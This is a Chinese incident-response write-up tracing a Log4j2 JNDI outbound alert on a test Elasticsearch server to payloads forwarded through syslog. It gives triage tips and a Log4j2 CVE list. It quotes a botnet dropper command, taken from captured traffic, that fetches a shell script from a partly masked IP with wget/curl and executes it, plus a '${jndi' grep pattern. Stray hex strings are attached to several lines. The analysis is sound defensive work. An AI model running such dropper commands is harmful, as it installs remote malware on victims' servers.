应急响应实战 | Log4j2引发的JRMP外连事件

前言

 

还记得去年安全圈发生的几个「0day」:Chrome V8、Print Spooler、MSHTML……每次曝出来这种高危漏洞时候,总能掀起圈子里的阵阵涟漪,随之而来就是各方群友热情询问“师傅EXP能不能来一发?”,又或是甲方爸爸亲切问候“这个漏洞细节你们有吗?”,卑微如笔者这般的互联网农民工夹在两边被反复蹂躏。忆起年底突然轰动全网的Apache Log4j2漏洞,那段日子仍然记(ren)忆(sheng)犹(yin)新(ying),有幸吃到“核弹”级别漏洞的瓜,不枉此生了!e6c0cf656bbf03e228e9524ad9069db4

 

初步分析

 

临近22年元旦,虽国内仍有疫情零星般出现,在政策严控之下,世间呈太平之势,百姓安居乐业,笔者也跟风外出跨年玩(xiang)耍(qin)一番。但世事无常,31号晚5时许,甲方爸爸突然在微信群里圈笔者:“@X工 微步设备告警个攻击成功的,请确认下是否真实。”笔者此时已经收拾好仪容准备出门赴跨年之约,心里虽有数不尽的宝可梦滚过,但还是从包里掏出电脑看问题。

d7ddc93e0b05494d57c3983e65932701

 

设备告警“JNDI注入攻击行为”,这属于java远程方法调用的通信行为(包括ldap、rmi等方式)。由于对自家的流量威胁检测设备非常熟悉,误报率很低,尤其是这种重大漏洞,所以看到这条告警,就可以确定事情并不简单。99b0c0aa23c7c19861ae180e4b7c5a8d

 

流量特征:服务器主动请求美国IP的class文件,UA是Java/1.8.0_162,同时class的文件内容中能明显看到它执行的“||”操作符命令。

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://192.74.XXX.XXX/8UsA.sh; curl -O http://192.74.XXX.XXX/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh93675959a790d672b012ecda8d38b924

 

脑海中灵光乍现,这种cd、wget、curl、chmod、sh的“bash组合拳”一般不都是僵尸网络的么。

图片

 

把脚本命令甩搜索引擎试试,果然有很多欸。

图片

 

在X社区的帖子里发现圈友曾经发过这条bash命令相似的攻击帖子,看样子是攻击某个API网关且使用的Apache Log4j2远程代码执行漏洞。

图片

 

对其shellcode进行base64解码,与设备告警加载的.class文件内容除IP地址以外都一致,那会不会就是这个漏洞搞的一手“隔山打牛”呢?

图片

从甲方爸爸了解到:外发JNDI请求的服务器是一台新上线的Elasticsearch测试用数据库,而且没有对外网映射端口。恰逢笔者尚未从被Log4j支配的阴影中脱离,便怀疑是前置Web应用服务器被Log4j漏洞扫描,日志同步到Elasticsearch数据库致使其触发告警。

图片

上机

 

伴随着复杂的心理活动,和甲方爸爸讨论如何做接下来处置(碎碎念:不要去现场!不要去现场!千万不要去现场!)。在此非常感谢爸爸们的配合,有幸远程登录到这台服务器上操作。

图片

 

既然之前已经推测到可能是因为Log4j漏洞搞的,那先看ES的配置是什么样。

偷懒方法查看ES版本(默认端口):curl http://127.0.0.1:9200

图片

Elasticsearch中Log4j配置文件路径:[ES安装目录]/config/log4j2.properties

图片

 

噢~5.6.16的Elasticsearch数据库,Log4j配置也是默认的,那直接看ES日志就行了。

Elasticsearch日志:[ES安装目录]/logs/Elasticsearch.log

图片

果然”DEBUG”日志里有Log4j漏洞的攻击payload,而且日志生成时间和JNDI外连时间相近,但在日志中并没有记录是否加载过恶意class文件的痕迹,在服务器上兜兜转转半天,没有可疑点,也没有其他线索,应急排查一度卡壳。

图片

 

在坚持不懈地分析排查时,功夫不负有心人!无意间看了下网络连接,突然发现监听有514端口,这台服务器还运行有syslog服务端,众所周知Log4j漏洞得有日志才能触发,内网不可能无缘无故收到带有payload的请求,那会不会是通过syslog接收其他来源的日志,导致Elasticsearch处理时连带触发的JNDI外连呢?

图片

 

想到就干,在与甲方爸爸的友好沟通之下,终于联系到这台测试服务器的使用者,实锤这台服务器会从其他对外开放的web服务器采集包括web访问记录、业务调试等日志做跟踪分析。(OS:思路清楚以后感觉马上就能搞完出门浪了~~~)

哪知又来一个不好的消息:对外开放访问的Web服务是https的。这也意味着不能从流量设备上捞攻击告警信息。(笔者差点“哇”地一声哭出来,工作量剧增了有没有!)

 

图片

验证猜想

 

现在知道Web服务器的地址,那就撸它几发,试试能不能复现漏洞,当然是得到甲方爸爸允许的合法测试咯。

图片

图片

一发入魂~顺带去ES服务器上看看,它很配合,直接找到这条dnslog的查询日志。

图片

排查到此,虽然没有非常直接的证据能说明这台Elasticsearch服务器的JNDI外连请求是因Apache Log4j2漏洞引发的,但结合ES默认使用存在漏洞的Log4j组件以及漏洞的复现结果,基本能确认此次事件的罪魁祸首就是它。

图片

 

至于Elasticsearch为何没有执行恶意命令,可能是jdk版本太低不兼容又或者权限导致,这里就不深究这个问题,笔者要出门玩耍了!

 

感悟

 

流量特征

Apache Log4j2 RCE以后外连的流量特征:UA是“Java/版本号”,URL是走JRMP去调用公网的“class类文件”。一般情况下服务器必须联网才能后续搞事情,如果已经做过出网白名单这种,那利用的难度会很大。

应急排查技巧

1.Log4j漏洞源于它输出的日志,一般情况下全盘搜索”log4j2.properties”文件,说不定就能找到它的日志;

 

2.Log4j组件打印的日志分几个级别(FATAL、ERROR、WARN、INFO、DEBUG、TRACE),如果不能确定你看的log是不是Log4j的,那就在日志里看看每一行打印的文本是不是都带上这些级别的字样,万一有了呢;

 

3.如果你实在找不到日志,那不妨可以试试命令行:grep -r “*${jndi*”(Linux);

 

4.大胆假设,小心验证,不急不躁,不慌不忙,就能应好急。

 

附言

 

以下是笔者整理出来的Apache Log4j2组件近期曝出的漏洞列表,截至文章编写,官方最新发布的Log4j版本为2.17.2。

【CVE-2021-44228】

漏洞名称:Apache Log4j2 远程代码执行漏洞

漏洞危害:命令注入

利用条件:默认配置

受影响版本:Apache Log4j 2.0-beta9 – 2.12.1、Apache Log4j 2.13.0 – 2.15.0-rc1

【CVE-2021-45046】

漏洞名称:Apache Log4j2 拒绝服务漏洞

漏洞危害:拒绝服务

利用条件:默认配置

受影响版本:Apache Log4j 2.0-beta9 – 2.12.1、Apache Log4j 2.13.0 – 2.15.0-rc2

【CVE-2021-45105】

漏洞名称:Apache Log4j2 拒绝服务漏洞

漏洞危害:拒绝服务

利用条件:默认配置

受影响版本:Apache Log4j 2.0-beta9 – 2.16.0

【CVE-2021-44832】

漏洞名称:Apache Log4j2 远程代码执行漏洞

漏洞危害:命令注入

利用条件:需特定配置

 

受影响版本:Apache Log4j 2.0-alpha7 – 2.17.0(Apache Log4j ≠ 2.3.2 或 2.12.4)

 

 

注:以上部分图片来自网络,如有侵权,联系删除。

本文来自投稿,不代表安强科技社区立场,如若转载,请注明出处:https://community.anqiangkj.com/archives/17444

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年6月7日 下午1:01
下一篇 2022年6月7日 下午1:08

相关推荐